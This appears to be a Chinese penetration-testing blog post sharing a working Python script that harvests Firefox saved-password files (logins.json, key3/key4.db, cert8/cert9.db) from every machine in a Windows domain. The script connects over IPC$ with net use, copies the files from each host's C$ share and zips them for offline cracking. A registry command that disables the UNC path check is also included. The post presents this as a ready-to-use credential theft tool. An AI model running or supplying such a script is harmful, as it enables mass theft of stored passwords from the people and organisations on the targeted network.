批量IPC获取域内机器Firefox密码

在渗透测试中,获取机器浏览器密码是一项必不可少的工作,但考虑在域环境下,机器数量多,一台台获取显然效率不够,于是用python写了个自动化脚本。

解密条件

1
2
3
低版本firefox:logins.json、key3.db、cert8.db
高版本firefox:logins.json、key4.db、cert9.db
其中logins.json是关键,没有它则获取不到浏览器密码

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import os,sys
from threading import Thread
import zipfile

user = sys.argv[1]
pwd = sys.argv[2]
file_open=('C:\\Users\\public\\downloads\\host.txt')
def file_name():
for host in open(file_open):
host = host.strip('\n')
os.system("net use \\\\%s %s /user:%s"%(host,pwd,user))
for root, dirs, files in os.walk('\\\\%s\\c$\\users'%host):
try:
for files in files:
if files == 'logins.json':
os.chdir(root)
print (root+"\\"+'logins.json')
os.system("copy %s\\logins.json c:\\users\\public\\downloads\\logins.json%s"%(root,host))
os.system("copy %s\\key3.db c:\\users\\public\\downloads\\key3.db%s"%(root,host))
os.system("copy %s\\cert8.db c:\\users\\public\\downloads\\cert8.db%s"%(root,host))
os.system("copy %s\\key4.db c:\\users\\public\\downloads\\key4.db%s"%(root,host))
os.system("copy %s\\cert9.db c:\\users\\public\\downloads\\cert9.db%s"%(root,host))
os.system("net use \\\\%s /del"%host)
except:
pass
finally:
zipDir('C:\\Users\\public\\downloads','C:\\Users\\public\\Documents\\key.zip')

def zipDir(dirpath,outFullName):
zip = zipfile.ZipFile(outFullName,"w",zipfile.ZIP_DEFLATED)
for root, dirs, files in os.walk(dirpath):
fpath = root.replace(dirpath,'')
for files in files:
zip.write(os.path.join(root,files),os.path.join(fpath,files))
zip.close()

t=Thread(target=file_name)
t.start()

使用说明:将host.txt放在C:\Users\public\downloads目录下,代码会循环判断机器中的logins.json文件,如存在,则批量获取密码配置文件并自动打包(C:\Users\public\Documents\下的key.zip文件)。为防止文件覆盖及更好地标识文件,复制出来的key、cert会按照IP重命名,破解时自行改回。
exp运行可能会存在报错:用作为当前目录的以上路径启动了CMD.EXE。UNC路径不受支持。默认值设为Windows目录。

报错原因:网络路径下的问题。解决方法:

1
reg add "hkey_current_user\software\microsoft\command processor" /v "disableunccheck" /t "reg_dword" /d "1" /f

报错问题不大,并不影响使用。

效果

破解